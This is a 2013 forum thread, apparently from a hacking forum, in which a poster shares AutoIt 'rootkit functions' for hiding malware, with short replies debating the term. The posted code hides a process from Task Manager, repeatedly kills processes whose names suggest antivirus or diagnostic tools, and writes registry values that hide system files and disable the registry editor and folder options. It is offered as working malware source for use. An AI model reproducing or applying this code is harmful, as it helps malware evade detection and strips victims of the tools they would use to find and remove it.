(Sep 2, 2013 11:14 AM)the_horla123 Wrote:  Thank you!
I search a long time for a good autoit Rootkit! It works very very good! Do you have also a Rootkit thats hide a File in the Windows Explorer Or is that impossible?
the_horla123

(Sep 2, 2013 11:53 AM)the_horla123 Wrote:  No :D
I mean a real Rootkit what hides the Files better than the hide Attribute like the Rootkit that you have posted.
Sry for my bad english :D
the_horla123

(Sep 2, 2013 10:53 AM)Tux. Wrote:  Here's a few functions aimed at hiding malware (rootkit functions) That I've made for previous projects of mine as well as a simple workaround for multithreading:

---

ROOTKIT FUNCTIONS:

Hide process from task manager:

PHP Code


<?php 
Func HideFromTaskMannager($sProcessName)
   If $sProcessName <> 1 Then
      $iProcessIndex = ControlListView("Windows Task Manager", "", 1009, "FindItem", $sProcessName)
      If $iProcessIndex = -1 Then
         Sleep(2)
      Else
         $h_listview = ControlGetHandle("Windows Task Manager", "", 1009)
         DllCall("user32.dll", "int", "SendMessage", "hwnd", $h_listview, "int", $LVM_DELETEITEM, "int", $iProcessIndex, "int", 0)
      EndIf
   EndIf
EndFunc 


Prevent unwanted tasks such as Anti-viruses, netstat, tasklist, etc:

PHP Code


<?php 
Func EndBadProcs()
   Dim $bad_procs[7]
   $bad_procs[0] = "anti"
   $bad_procs[1] = "fix"
   $bad_procs[2] = "remov"
   $bad_procs[3] = "secur"
   $bad_procs[4] = "av"
   $bad_procs[5] = "tasklist"
   $bad_procs[6] = "taskkill"
   $procs = ProcessList()
   For $i = 0 To UBound($procs) - 1
      For $j = 0 To UBound($bad_procs) - 1
         If(StringInStr($procs[$i][0], $bad_procs[$j], false)) Then
            ProcessClose($procs[$i][1])
         EndIf
      Next
   Next
EndFunc 


Some extra to-do in the registry (explained in code comments):

PHP Code


<?php 
Func FixReg()
    Regwrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Explorer\Advanced", "ShowSuperHidden", "REG_DWORD", 0);to not show hidden system files
    RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\System", "DisableRegistryTools", "REG_DWORD", 1);to disable the registry editor
    RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer", "NoFolderOptions", "REG_DWORD", 1);to not show "folder options.." under xplorer.exe's menus
EndFunc 


---

MULTITHREADING WORKAROUND:
So say you have a function at the top of your script like:

PHP Code


<?php 
if $cmdLine[0] > 0 Then
   if $cmdLine[0] = 1 Then
      While 1
         EndBadProcs()
      WEnd
   EndIf
EndIf 


Witch incorporates one of our RootKit functions but only if it is started with an argument, then you could just have your script call itself with a single argument and it would start another process witch would then start the RootKit function because of the argument you supplied it. Very simple way to simulate multithreading.

---

Feed back is appreciated 🙂

Kindly regards,
Tux.

(Sep 10, 2013 11:19 AM)LeNerds Wrote:  It's not a rootkit.
You are not hooking any function in order to achieve your goals.

(Sep 10, 2013 03:42 PM)Tux. Wrote:  First of all no its a bootkid I know. Just rootkit is a more general term. Seccond all a rootkit means is that youve obtained ring 0 privs

(Sep 10, 2013 03:42 PM)Tux. Wrote:  First of all no its a bootkid I know. Just rootkit is a more general term. Seccond all a rootkit means is that youve obtained ring 0 privs

(Sep 12, 2013 08:12 AM)Snoepie1012 Wrote:  I am hoping you are not meaning to say that it is a bootkit..
Also a rootkit can be in ring 3 to.

Seems like a nice peace of code doh.

(Sep 12, 2013 12:32 PM)__Angel Wrote:  That's not what a rootkit means. You can have a usermode rootkit as well.